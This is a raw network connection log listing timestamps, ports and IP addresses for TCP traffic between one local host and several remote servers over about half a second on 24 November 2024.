Nov 24, 2024 04:23:46.504508972 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.504514933 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.504933119 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.511861086 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.519618034 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.519944906 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.519951105 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.527163029 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.527966976 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.527972937 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.529522896 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:46.548237085 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.551273108 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.551368952 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.551461935 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.551461935 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.551486015 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.551510096 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.554723024 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.554797888 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.554953098 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.555356979 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.555389881 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.566201925 CET	49950	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:46.566492081 CET	49983	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:46.572705984 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.572808981 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.572846889 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.572861910 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.573007107 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.579231977 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.584093094 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:23:46.587554932 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.587610960 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.587641001 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.589018106 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.589030027 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.589055061 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.589067936 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.594095945 CET	49984	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:46.595793962 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.595885992 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.595900059 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.604055882 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.604116917 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.604130983 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.620466948 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.620501995 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.620560884 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.620958090 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.620965004 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.623399019 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.623442888 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.623450041 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.628813982 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.629839897 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.629853010 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.634471893 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.634567022 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.635015965 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.635023117 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.638201952 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.641961098 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.642694950 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.642746925 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.642760992 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.649013996 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.649060965 CET	80	49967	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:46.649678946 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.649760962 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.651070118 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.651096106 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.651132107 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.651149035 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.652115107 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.655736923 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.656646013 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.662096024 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.662206888 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.663755894 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.666110992 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.666120052 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.666405916 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.670572996 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.674681902 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.674794912 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.676557064 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.676570892 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.676681995 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.676704884 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.676722050 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.677891970 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.678884983 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.680737972 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:46.680771112 CET	443	49985	34.160.144.191	192.168.2.5
Nov 24, 2024 04:23:46.681052923 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:46.683049917 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.683147907 CET	49985	443	192.168.2.5	34.160.144.191
Nov 24, 2024 04:23:46.683156013 CET	443	49985	34.160.144.191	192.168.2.5
Nov 24, 2024 04:23:46.683166981 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.686969042 CET	80	49950	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:46.687287092 CET	80	49983	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:46.687324047 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.691446066 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.691560030 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.695699930 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.695765018 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.696162939 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.696170092 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.699893951 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.704050064 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.708287954 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.708355904 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.711055994 CET	49950	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:46.711106062 CET	49983	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:46.711107969 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.711114883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.712560892 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.713538885 CET	80	49984	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:46.716645002 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.716732979 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.720864058 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.720957041 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.725177050 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.726087093 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.726799011 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.726804018 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.726830959 CET	49984	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:46.726955891 CET	49984	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:46.726955891 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.729273081 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.730185986 CET	49983	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:46.742104053 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.742114067 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.742829084 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.744883060 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.744992018 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.758156061 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.758167982 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.769656897 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.769705057 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.771629095 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.772073030 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.776081085 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.778350115 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.778371096 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.787265062 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.815310001 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.815527916 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.815538883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.820245981 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.820338011 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.821331024 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.821779013 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.821787119 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.823086023 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.824193001 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.828156948 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.831691027 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.831824064 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.832118988 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.832146883 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.835210085 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.835732937 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.835737944 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.838660955 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.842027903 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.842775106 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.842781067 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.843038082 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.845205069 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.846329927 CET	80	49984	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:46.848422050 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.848510981 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.848697901 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.848704100 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.848923922 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.849562883 CET	80	49983	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:46.851511955 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.852713108 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.852726936 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.852740049 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.852746964 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.852798939 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.853378057 CET	80	49967	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:46.853535891 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.854239941 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.854253054 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.854615927 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.857546091 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.857665062 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.858134985 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.858143091 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.860644102 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.860739946 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.860747099 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.863584995 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.865570068 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.865576982 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.866564035 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.866702080 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.866707087 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.871155024 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.871222973 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.871227980 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.872945070 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.872982979 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.872987032 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.874764919 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.875781059 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.875786066 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.876605034 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.876645088 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.876651049 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.878386021 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.878431082 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.878437042 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.880203009 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.881823063 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.882131100 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.882136106 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.882597923 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.883584976 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.885379076 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.885495901 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.885574102 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.885581970 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.886815071 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.887135029 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.888916969 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.888978004 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.889003992 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.889009953 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.889090061 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.890691996 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.892385960 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.892548084 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.892725945 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.892730951 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.894366026 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.894416094 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.894421101 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.895838976 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.895958900 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.895976067 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.896100998 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.896166086 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.896169901 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.896174908 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.896759033 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.896776915 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.896794081 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.896800995 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.899435997 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.899475098 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.899553061 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.899674892 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.900650978 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.900769949 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.900777102 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.900919914 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.901345968 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.901556969 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.901567936 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.903104067 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.903147936 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.903153896 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.904877901 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.904916048 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.904922009 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.906755924 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.907416105 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.907421112 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.908495903 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.908539057 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.908544064 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.910228968 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:46.987354040 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:23:46.987369061 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.007287979 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.008435965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.008455992 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.010207891 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.010315895 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.011889935 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.011986017 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.013601065 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.013679028 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.015271902 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.016916990 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.017029047 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.018513918 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.018537045 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.018558025 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.020124912 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.020215034 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.021713972 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.023205996 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.023336887 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.024712086 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.024813890 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.026190042 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.027657032 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.027688026 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.027806044 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.027823925 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.027926922 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.027981997 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.029090881 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.030486107 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.030591965 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.031893969 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.031902075 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.032083988 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.033211946 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.033217907 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.033401966 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.034823895 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.035669088 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.035676003 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.035717010 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.036127090 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.037491083 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.037740946 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.038883924 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.040023088 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.040038109 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.040410995 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.041033983 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.041038990 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.041759968 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.043047905 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.043169022 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.043850899 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:47.043859005 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.045836926 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.045955896 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.047229052 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.047338009 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:47.048460960 CET	49968	443	192.168.2.5	142.251.40.163
